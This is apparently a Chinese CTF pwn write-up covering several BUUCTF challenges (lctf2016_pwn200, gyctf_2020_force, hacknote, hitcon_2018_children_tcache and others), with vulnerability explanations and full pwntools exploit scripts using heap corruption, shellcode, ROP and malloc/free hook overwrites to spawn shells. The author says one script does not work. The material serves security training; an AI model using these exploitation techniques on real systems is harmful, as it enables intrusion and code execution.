p.sendlineafter("4.show\n",'3')
p.recvuntil("index:\n")
p.sendline(str(idx))
p.recvuntil("content:\n")
p.send(content)

def show(idx):
p.sendlineafter("4.show\n",'4')
p.recvuntil("index:\n")
p.sendline(str(idx))

def free(idx):
p.sendlineafter("4.show\n",'2')
p.recvuntil("index:\n")
p.sendline(str(idx))

ptr = 0x602118
key = 0x00000000006022B8
free_got = elf.got['free']
for i in range(7):
add(i,0xf0,'\x07' * 0xf0)
heap_addr = add(7,0x88,'a')
log,success("heap_addr==>0x%x" %heap_addr)
add(8, 0xf0, "b")
add(9, 0x80, "c")
add(10, 0x80, "/bin/sh\x00")
for i in range (7):
free(i)
#unlink
fake_chunk = p64(0) + p64(0x81)
fake_chunk += p64(ptr - 0x18) + p64(ptr - 0x10)
fake_chunk += 'a' * 0x60 + p64(0x80)
edit(7,fake_chunk)
free(8)

payload = p64(heap_addr + 0x190) * 2 + p64(free_got) + p64(ptr - 0x18)
edit(7,payload)
free(4)
free(5) #double free
add(0,0x80,p64(key))
add(1,0x80,'a')
add(5,0x80,p32(5) + p32(5))
show(6)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['free']
log.success("libc_base==>0x%x" %libc_base)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
payload = p64(free_hook) * 3 + p64(ptr - 0x18)
edit(7,payload)
edit(5,p64(system))
free(10)

p.interactive()

六十九、lctf2016_pwn200

image-20210905105020439

常规checksec一下,64位,保护几乎都没开启

image-20210905105059956

进入IDA,进入的第一个函数就存在问题,这边最长输入0x30的字符,但是v2距离rbp的距离也是0x30,所以可以借此打印出rbp的值,得到栈上地址,那么应该就是ret2shellcode了

image-20210905105342837

image-20210905105242460

再往下看,这边存在任意地址写

image-20210905110435529

image-20210905110553881

计算一下偏移

然后通过任意地址写往free@got表里写入前面算好的shellcode的地址,再执行到后面程序中的free函数,然后跳转到写好的shellcode执行

image-20210905112409521

getshell!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*
from LibcSearcher import*

p = remote('node4.buuoj.cn',25517)
#p = process('./pwn200')
elf = ELF('./pwn200')
context(log_level='debug',arch='amd64',os='linux')
free_got = elf.got['free']
#gdb.attach(p,'b *main')

p.recvuntil("who are u?\n")
shellcode = asm(shellcraft.sh())
p.send(shellcode.ljust(0x30,'a'))
leak_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 80
log.info(hex(leak_addr))
p.recvuntil("give me your id ~~?")
p.sendline('3')
p.recvuntil("give me money~\n")
payload = p64(leak_addr) + 'a' * 0x30 + p64(free_got)
p.send(payload)
p.recvuntil('choice :')
p.sendline('2')

p.interactive()

七十、pwnable_simple_login

image-20210910105207938

常规checksec,开了NX、Canary。但是到IDA里面发现,没看到Canary的踪迹

image-20210910105257032

IDA里面有后门函数

image-20210910105318680

base64解码函数里面有些复杂,看的很难受,但是我们可以通过程序逻辑进行判断,返回的应该是长度,因为底下进行了比大小;而s是我们输入的值没什么好说,就是要输入一个base64的值让他再解码成正常值;v5则应该是解码后的值,因为底下把v5的值写入了input里面。但是如果是要以程序逻辑执行到后门函数的话,我也不知道行不行,反正我是不会的。想的肯定是有没有哪里有溢出,跳到后门函数就行了。

image-20210910105421986

找了找,在auth函数里面,memcpy可以溢出了,因为size最大可以为12,而v4距离返回值偏移也为12,似乎不够,只能覆盖到ebp,不过可以发现,在这个函数里面执行一次leave ret,然后这个函数退出了,到main函数,刚好又将会继续执行leave ret。所以其实就是一种栈迁移,把栈迁移到.bss上去,然后执行后门函数

1
2
3
4
5
6
7
8
from pwn import * 
p = remote("node4.buuoj.cn",25575)
shell = 0x08049284
input_addr = 0x0811EB40
p.recvuntil("Authenticate : ")
payload = 'a' * 4 + p32(shell) + p32(input_addr)
p.sendline(payload.encode('base64'))
p.interactive()

七十一、gyctf_2020_force

image-20210916151101226

常规checksec一下,64位保护全开

image-20210916153042695

image-20210916153101689

进入IDA,总共就两个功能:一个是申请堆块,堆块大小无限制,并且能返回给堆地址,然后填入内容是固定长度0x50;另外一个puts功能。。。屁用没有!根据题目提示想到house of force

image-20210916163309864

因为程序会返回堆的地址,程序又不限制堆块的大小,所以我们可以申请一个大于top chunk的堆块,那么程序就会调用mmap进行分配堆块,此时堆块的地址会是libc中的一个地址

image-20210916163532720

image-20210916205725583

image-20210916205619022

然后申请一个小于0x50的堆块,让堆块能进行溢出覆盖top chunk的size位,修改为-1(也就是0xFFFFFFFFFFFFFFFF),同时也借着这个堆块能获取到top chunk的地址。修改完-1,因为使用malloc申请堆块时验证size的类型是无符号数,所以我们可以分配很大的堆块也仍然可以通过验证,借此直接申请一个超大堆块,直接占满top chunk与__malloc_hook之间长度,然后再申请一个堆块去修改hook的为one_gadget即可

然后呢。offse至少t减0x30,因为我们申请的堆块是有堆头,并且是要覆盖两个hook

image-20210916201004797

image-20210916201128484

最后的调整我有些理解不了,明明指向不是0,但最后却能getshell,只能说明应该是在最后执行完malloc后,rsp又被调整了吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./gyctf_2020_force")
libc = ELF("./libc-2.23.so")
p = remote("node4.buuoj.cn",28894)
def debug():
gdb.attach(p,"b main")

def add(size,content):
p.sendlineafter("2:puts\n",'1')
p.recvuntil("size\n")
p.sendline(str(size))
p.recvuntil("0x")
addr = int(p.recv(12),16)
p.recvuntil("content\n")
p.send(content)
return addr

def show(idx):
p.sendlineafter("2:puts\n",'2')
p.recvuntil("index:")
p.sendline(str(idx))

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

libc_base = add(0x200000,'a') + 0x200ff0
log.info("libc_base==>0x%x" %libc_base)
mlh = libc_base + libc.sym['__malloc_hook']
ogg = libc_base + 0x4527a
realloc = libc_base + libc.sym['__libc_realloc']
top_chunk = add(0x18,'b'*0x10 + p64(0) + p64(0xFFFFFFFFFFFFFFFF)) + 0x10
log.info("top_chunk==>0x%x" %top_chunk)
offset = mlh - top_chunk
add(offset-0x33,'a')
add(0x10,'a'*0x8 + p64(ogg) + p64(realloc + 0x10))
p.sendlineafter("2:puts\n",'1')
p.recvuntil("size\n")
p.sendline(str(0x10))

p.interactive()

七十二、pwnable_hacknote

image-20210923153219237

常规checksec,32位,没开全RELRO,PIE。猜测可以劫持got表

image-20210923153712466

image-20210923153919700

在申请堆块功能里,发现一个有意思的东西,把一个调用puts的函数的地址赋值给了堆块内容,猜测打印功能就是直接使用这个函数指针,那么就可以试着修改这个指针,改为system,再把堆块内容修改为/bin/sh

image-20210923153939335

果然,直接调用了函数指针

image-20210923153908205

释放功能,指针没有置零,存在UAF

image-20210923193256099

第一步是获取libc,我的做法是借着释放unsorted chunk产生libc,然后再申请回来,覆盖fd指针为aaaa作为定位,然后将bk指针打印出来

1
2
3
4
5
6
7
8
9
10
add(0x80,'aaaa') #0
add(0x80,";sh\x00") #1
free(0)
add(0x80,'aaaa') #2
show(2)
p.recvuntil('aaaa')
libc_base = u32(p.recv(4)) - 0x1B37B0
log.info("libc_base==>0x%x" %libc_base)
system = libc_base + libc.sym['system']
log.info(hex(system))

image-20210923193522763

然后就是修改函数指针,把函数指针改成指向system的,通过连续释放两个堆块,然后再申请回来(大小是0x8的),那么就会有一个堆块是之前可以调用show功能的堆块,修改这个堆块的内容为system地址,以及”;sh\x00”(或是”||sh”),因为上图传入的参数其实是函数指针的地址,所以要用或者||才能也执行到sh而获取到shell,然后借着UAF执行show功能getshell

最后,我换了网上的做法,我前面使用unsorted chunk泄露libc可能远程有点不同,导致没能打通,只有本地通了

image-20210924081921009

然后我去实验了一下,发现远程的地址比本地的多了0x300,我打了五六次都是差0x300,之前做buu的堆题获取libc的方式,我已经记不清了,因为buu上的libc是被动过的libc,所以我本地打的时候加载的并不是和buu一模一样的libc,可能这就是因为小版本之间的差异吧,不过根据这次来看,版本之间的小差异,对算libc偏移造成的影响应该是比较小的,前后多试几个0xn00,说不定能行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!usr/bin/env python 
#coding=utf-8
from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
elf = ELF("./hacknote")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_i386/libc-2.23.so")
libc = ELF("./libc-2.23.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_i386/ld-2.23.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
p = remote("node4.buuoj.cn", 26554)
def debug():
gdb.attach(p,"b main")

def add(size,content):
p.sendlineafter("Your choice :",'1')
p.recvuntil("Note size :")
p.sendline(str(size))
p.recvuntil("Content :")
p.send(content)

def show(idx):
p.sendlineafter("Your choice :",'3')
p.recvuntil("Index :")
p.sendline(str(idx))

def free(idx):
p.sendlineafter("Your choice :",'2')
p.recvuntil("Index :")
p.sendline(str(idx))

read_got = elf.got['read']
puts = 0x804862b
add(0x18,"aaaa")
add(0x18,"bbbb")
free(0)
free(1)
add(0x8, p32(puts) + p32(read_got))
show(0)
read = u32(p.recv(4))
system = read - libc.symbols["read"] + libc.symbols["system"]
success(hex(system))
free(2)
add(8, p32(system) + ";sh\x00")
show(0)
p.interactive()

七十三、ciscn_2019_final_4

image-20211007190521092

checksec一下,64位,没开PIE

image-20211007191435082

delete函数里面存在UAF

image-20211007191927917

禁用了execve,所以得要rop读取flag

image-20211007192957739

image-20211007193057775

似乎无法调试这题,去百度了一下https://blog.csdn.net/seaaseesa/article/details/105855306,原来前面的代码都是为了让我们无法调试的。`ptrace` 提供了一种机制使得父进程可以观察和控制子进程的执行过程。父进程 fork() 出子进程,子进程中执行我们所想要 trace 的程序,在子进程调用 exec() 之前,子进程需要先调用一次 ptrace,以 PTRACE_TRACEME 为参数。

image-20211007193646167

image-20211007193755639

所以调试的子进程已经被占用,导致我们无法再生成一个,所以要让这段程序失效,根据师傅的做法是修改汇编代码为jmp $+0x9E,直接跳转到后面的函数去执行,从而避免占用子进程

image-20211007194639451

用keypatch这样改不了。。。

image-20211007195234222

image-20211007195506179

image-20211007195609719

image-20211007195846918

所以模仿师傅的做法,修改机器码,把对应的机器码修改为上述的e999000000即可,然后就能调试了。

然后说下思路,大方向是orw读取flag,网上师傅的wp是利用前面给的栈地址进行伪造一个堆头,让后续的堆块可以分配过去控制返回地址(并且栈地址还得先要泄露出来),但是因为程序是个死循环,所以还要劫持里面的函数的返回地址,让程序真正的退出,才能去执行布置的rop。我觉得有点麻烦了,不如使用劫持malloc_hook为setcontext + 53,不用劫持这么多的。

好吧,我是沙比,忘了malloc的第一个参数是传入的size,兴冲冲要读flag,看到gdb里面rdi值是0xd0,人傻了,这题本来的做法太麻烦了,我不做了,溜了溜了

那就总结一下思路吧,防止以后比赛遇到了,也能有印象顺着做,慢慢调试

  • 首先,反调试,可以选择修改ida里面的汇编指令,让反调试的程序不被执行到,从而可以调试。而机器指令可以用pwntools得到

  • 其次,如果可以输入栈的内容,在里面布置堆头,由此推广,在可以输入的地方都可以布置出堆头,让我们可以通过size检查,。当然这仅仅是2.23的版本,之后的版本都不用检查size的。当然布置完堆头就要获得堆头对应的地址

  • 然后,就是environ存着一个栈地址(虽然我本来就知道,当做是复习吧)。布置rop时长度不够写,可以先执行read函数,加长可写的长度

  • 最后,如果程序不退出,可以修改某个函数的返回地址,我们让程序执行到返回地址,执行我们布置好的rop

    over!

留下个错误脚本,跑路!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'info')
elf = ELF("./ciscn_final_4")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so")
#libc = ELF("./libc-2.23.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
#p = remote("",)
def debug():
gdb.attach(p,"b *0x0000000000400B2F")

def add(size,content):
p.sendlineafter(">> ",'1')
p.recvuntil("size?")
p.sendline(str(size))
p.recvuntil("content?")
p.send(content)

def show(idx):
p.sendlineafter(">> ",'3')
p.recvuntil("index ?\n")
p.sendline(str(idx))

def free(idx):
p.sendlineafter(">> ",'2')
p.recvuntil("index ?")
p.sendline(str(idx))

p.recvuntil("what is your name?")
p.send('sc')
add(0x80,'a') #0
add(0x60,'b') #1
add(0x60,'c') #2
free(0)
add(0x80,'a'*8) #3
show(0)
p.recvuntil('a'*0x8)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x3c4b78
log.info("libc_base==>0x%x" %libc_base)
mlh = libc_base + libc.sym['__malloc_hook']
setcontext = libc_base + libc.sym['setcontext'] + 53



free(1)
free(2)
free(1)
show(2)
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x90
log.info("heap_base==>0x%x" %heap_base)
flag_addr = heap_base + 0x110
syscall = next(libc.search(asm("syscall\nret"))) + libc_base
pop_rdi = next(libc.search(asm('pop rdi\nret'))) + libc_base
pop_rsi = next(libc.search(asm('pop rsi\nret'))) + libc_base
pop_rdx = next(libc.search(asm('pop rdx\nret'))) + libc_base
pop_rax = next(libc.search(asm('pop rax\nret'))) + libc_base
ret = 0x00000417 + libc_base
read = libc.sym['read'] + libc_base
write = libc.sym['write'] + libc_base
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx)+ p64(0x50) + p64(read)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx)+ p64(0x50) + p64(write)

add(0xb0,p64(0)*18 + p64(heap_base + 0x240) + p64(ret)) #4
add(0xf8,rop) #5
#add(3,)
add(0x60,p64(mlh - 0x23))
add(0x60,'./flag\x00')
add(0x60,'b')
add(0x60,p8(0)*3 + p64(0)*2 + p64(setcontext))
free(4)
p.sendlineafter(">> ",'1')
p.recvuntil("size?")
p.sendline(str(0xb0))



p.interactive()

七十四、sctf_2019_easy_heap

image-20211024164932819

漏洞点在于输入函数,存在offbynull,因此构造overlap

这题问题点在于构造overlap时,要进行合并的头堆块和尾堆块中间要夹着至少两个堆块(一个堆块会报错,刚开始我就一直卡着)。

然后对于libc的利用,因为unsorted bin上的libc地址距离malloc_hook地址很接近,只相差一个字节的内容,所以在制造了overlap后,申请堆块时注意,让被覆盖的fd指针上被写入libc地址,然后修改一字节内容即可。这样程序即是没有打印函数也无关紧要。

然后只要把堆块申请到mmap的地址上,然后把地址写入hook函数执行shellcode即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./sctf_2019_easy_heap")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
libc = ELF("./libc-2.27.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
p = remote("node4.buuoj.cn",27234)
def debug():
gdb.attach(p,"b main")
#gdb.attach(p,"b *$rebase(0x)")

def add(size):
p.sendlineafter(">> ",'1')
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Address 0x")
return int(p.recv(12),16)

def edit(idx,content):
p.sendlineafter(">> ",'3')
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Content: ")
p.send(content)

def free(idx):
p.sendlineafter(">> ",'2')
p.recvuntil("Index: ")
p.sendline(str(idx))

p.recvuntil("Mmap: 0x")
shell_addr = int(p.recv(10),16)
log.info("shell_addr==>0x%x" %shell_addr)
add(0x410)
add(0x28)
add(0x18)
add(0x4f0)
add(0x18)

edit(2,'a'*0x10 + p64(0x470))
free(0)
free(3)
free(1)
free(2)
add(0x440)
add(0x510)
edit(0,'a'*0x418 + p64(0x31) + p64(shell_addr) + '\n')
add(0x28)
add(0x28)
shellcode = asm(
'''
mov rbx, 0x68732f6e69622f # 0x68732f6e69622f --> hs/nib/ little endian
push rbx
push rsp
pop rdi
xor esi, esi # rsi低32位
xor edx, edx # rdx低32位
push 0x3b
pop rax
syscall
''' )
edit(3,shellcode + '\n')
edit(1, '\x30' + '\n')
add(0x18)
add(0x18)
edit(6,p64(shell_addr) + '\n')
p.sendlineafter(">> ",'1')
p.recvuntil("Size: ")
p.sendline(str(0x50))

p.interactive()

七十五、hitcon_2018_children_tcache

image-20211030181121619

常规checksec,保护全开

image-20211030181304288

漏洞点在于申请功能里面的strcpy这个函数,把你内容复制过去时会自动在末尾加一个’\x00’,所以当填满数据时,造成了offbynull漏洞。

image-20211030181437290

这题特殊在释放函数会先对堆块的内容填入你写入 size 的大小的垃圾数据,这个是你写入的size,这个很重要

其次就是没有写功能,所以只能依赖于申请功能里面附带的写数据来实现写入。

利用:

​ 因为是offbynull漏洞,那目的一定是要制造出堆块重叠的。泄露libc因为有着strcpy函数,所以会多个’\x00’截断问题,所以只能在制造出overlap时才能打印出libc地址。那么所有重心都在制造出overlap

这边要注意,因为是glibc-2.27版本,所以堆块是要申请入0x4f8这样的,不会被放入tcache里面,才能实现合并。然后就是pre_size位置的填充一定要把那个八个字节的内容都要填满才行

image-20211030181946581

这样写,才能溢出一个’\x00’

然后我们就要去修正前面为了占位置的垃圾的数据了,这边我用的是a这个字符。清空是用了前面强调的delete填充垃圾数据是根据我们申请堆块时候写进去的size填充的,所以如果我们依次减少一个字节申请数量,然后再填满我们申请的大小,借用strcpy溢出的’\x00’来逐个去清空前面为了修改pre_inuse位而填入的a

image-20211030182245802

image-20211030182305126

image-20211030182359347

最后就能全部清零,成功伪造出pre_inuse,后面就是常规的构造overlap,最后把one_gadget写入malloc_hook里面getshell

image-20211030182527290

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./HITCON_2018_children_tcache")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#libc = ELF("./libc-2.27.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
p = remote("node4.buuoj.cn",25931)
def debug():
gdb.attach(p,"b main")
#gdb.attach(p,"b *$rebase(0x)")

def add(size,content):
p.sendlineafter("Your choice: ",'1')
p.recvuntil("Size:")
p.sendline(str(size))
p.recvuntil("Data:")
p.send(content)

def show(idx):
p.sendlineafter("Your choice: ",'2')
p.recvuntil("Index:")
p.sendline(str(idx))

def free(idx):
p.sendlineafter("Your choice: ",'3')
p.recvuntil("Index:")
p.sendline(str(idx))

'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

add(0x4f8,'a')
add(0x28,'b')
add(0x28,'c')
add(0x4f8,'d')
add(0x18,'/bin/sh\x00')
j = 6
for i in range(7):
free(2)
add(0x28-i,'b'*0x20 + '\x60\x05' + 'a'*j)
j = j - 1
free(0)
free(3)
add(0x4f8,'a')
show(1)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x3ebca0
log.info("libc_base==>0x%x" %libc_base)
mlh = libc_base + libc.sym['__malloc_hook']
ogg = libc_base + 0x10a38c
free(2)
add(0x38,'a'*0x30 + p64(mlh))
add(0x28,'a')
add(0x28,p64(ogg))
p.sendlineafter("Your choice: ",'1')
p.recvuntil("Size:")
p.sendline(str(0x60))
#debug()
p.interactive()

七十六、hfctf_2020_marksman

image-20211104212411070

64位,保护全开,而且运行了一下,题目给了小礼物:libc地址

image-20211106145934254

而且程序很简单,可以看见,v6输入一个值,显然是输入一个地址的,然后底下可以修改三个字节内容,所以要getshell肯定是要想办法利用这三个字节把某个会被调用的libc内容修改为one_gadget,但是要想修改内容就要先通过check

image-20211106145902768

image-20211106150044423

check里面不允许写入一些字节,可以发现这些字节就是one_gadget的字节,也就是说是不允许直接写入这些one_gadget的。所以要转换一下思路

思路一

利用IDA查看这些one_gadget,去看看这些地址的上方有没有其他不会影响的操作,然后把地址修改为该地址,最终也会执行到one_gadget

image-20211106150346116

比如这个one_gadget,在上面是一个执行close的函数指令,显然是不会影响到one_gadget的,所以可以把这个地址作为修改地址,我们可以修改exit的__rtld_lock_unlock_recursive,这也是一个类似hook函数的东西,exit退出时会被执行到。所以可以修改这里的内容

image-20211106153902758

image-20211106160251870

另外值得注意的点(我踩坑了):这边的v6是用atol转换出来的,所以输入时直接用str转为字符串输入,如果使用p64打包,会变成16进制数,atol会识别不了,直接返回0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./hfctf_2020_marksman")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
libc = ELF("./libc-2.27.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
#p = remote("node4.buuoj.cn",28590)
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
#gdb.attach(p)
p.recvuntil("0x")
libc_base = int(p.recv(12),16) - 0x809c0
log.info("libc_base==>0x%x" %libc_base)
ogg = libc_base + 0x10a387
log.info("ogg==>0x%x" %ogg)
exit_hook = libc_base + 0x81cf60
p.sendlineafter("shoot!shoot!\n",str(exit_hook))
p.sendlineafter("biang!\n", p8(ogg&0xFF))
p.sendlineafter("biang!\n", p8((ogg&0xFF00)>>8))
p.sendlineafter("biang!\n", p8((ogg&0xFF0000)>>16))


p.interactive()

思路二

image-20211106154641512

禁用的只是常见的one_gadget,可以增加参数--level 2查看更多的one_gadget,但是约束更多,而其中上图圈出的也是可以getshell的one_gadget

image-20211106161834320

另一个可以修改为one_gadget的地方就在不断追踪dlopen这个函数时,可以发现,在_dlerror_run+96的地址调用_dl_catch_error@plt

image-20211106162708556

image-20211106163050236

把这里的got表内容修改为one_gadget即可,没具体写exp,但是过程已经详细说明

image-20211106163226205

当然前提是RELRO没开全,允许修改libc里面的got表

七十七、hfctf_2020_sucurebox

漏洞在 size 限制时,可以存在整数溢出,可以让 size 成为一个大数。

image-20230201184708105

配合写的函数,可以达到任意写的地步。

image-20230201195052771

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
elf = ELF('./hfctf_2020_sucurebox')
DEBUG = 0
if DEBUG:
libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so")
p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
#p = process('./')
else:
ip = 'node4.buuoj.cn'
port = 26001
libc = ELF("./libc-2.27.so")
p = remote(ip, port)

def debug(info="b main"):
gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x)")


def choose(choice):
p.sendlineafter(b"5.Exit\n", str(choice).encode('ascii'))


def add(size):
choose(1)
p.recvuntil(b"Size:")
p.sendline(str(size).encode('ascii'))


def edit(idx, offset1, offset2, content):
choose(3)
p.recvuntil(b"Box ID: \n")
p.sendline(str(idx).encode('ascii'))
p.recvuntil(b"Offset of msg: \n")
p.sendline(str(offset1).encode('ascii'))
p.recvuntil(b"Len of msg: \n")
p.sendline(str(offset2).encode('ascii'))
p.send(content)


def show(idx, offset1, offset2):
choose(4)
p.recvuntil(b"Box ID: \n")
p.sendline(str(idx).encode('ascii'))
p.recvuntil(b"Offset of msg: \n")
p.sendline(str(offset1).encode('ascii'))
p.recvuntil(b"Len of msg: \n")
p.sendline(str(offset2).encode('ascii'))


def free(idx):
choose(2)
p.recvuntil(b"Box ID: \n")
p.sendline(str(idx).encode('ascii'))


add(0x420) #0
add(0x420) #1
free(0)
add(0x420) #0
show(0, 0, 8)
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0
log.info("libc_base==>0x%x" %leak)
sys = leak + libc.sym['system']
free_hook = leak + libc.sym['__free_hook']
add(-4294963201) #2
p.recvuntil(b'Key: \n')
key = p.recv(24).strip().split(b' ')
for i in range(len(key)):
key[i] = int(key[i], 16)
print(key)
key = key[0] + (key[1]<<8) + (key[2]<<16) + (key[3]<<24) + (key[4]<<32) + (key[5]<<40) + (key[6]<<48) + (key[7]<<56)
print(hex(key))
sys ^= key
edit(2, free_hook, 8, p64(sys))

binsh = '/bin/sh\x00'
binsh_enc = b''
add(0x420)
p.recvuntil(b'Key: \n')
key = p.recv(24).strip().split(b' ')
print(key)
for i in range(8):
key[i] = int(key[i], 16)
binsh_enc += p8(ord(binsh[i]) ^ key[i])
edit(3, 0, 8, binsh_enc)
# debug()
free(3)

p.interactive()
查看评论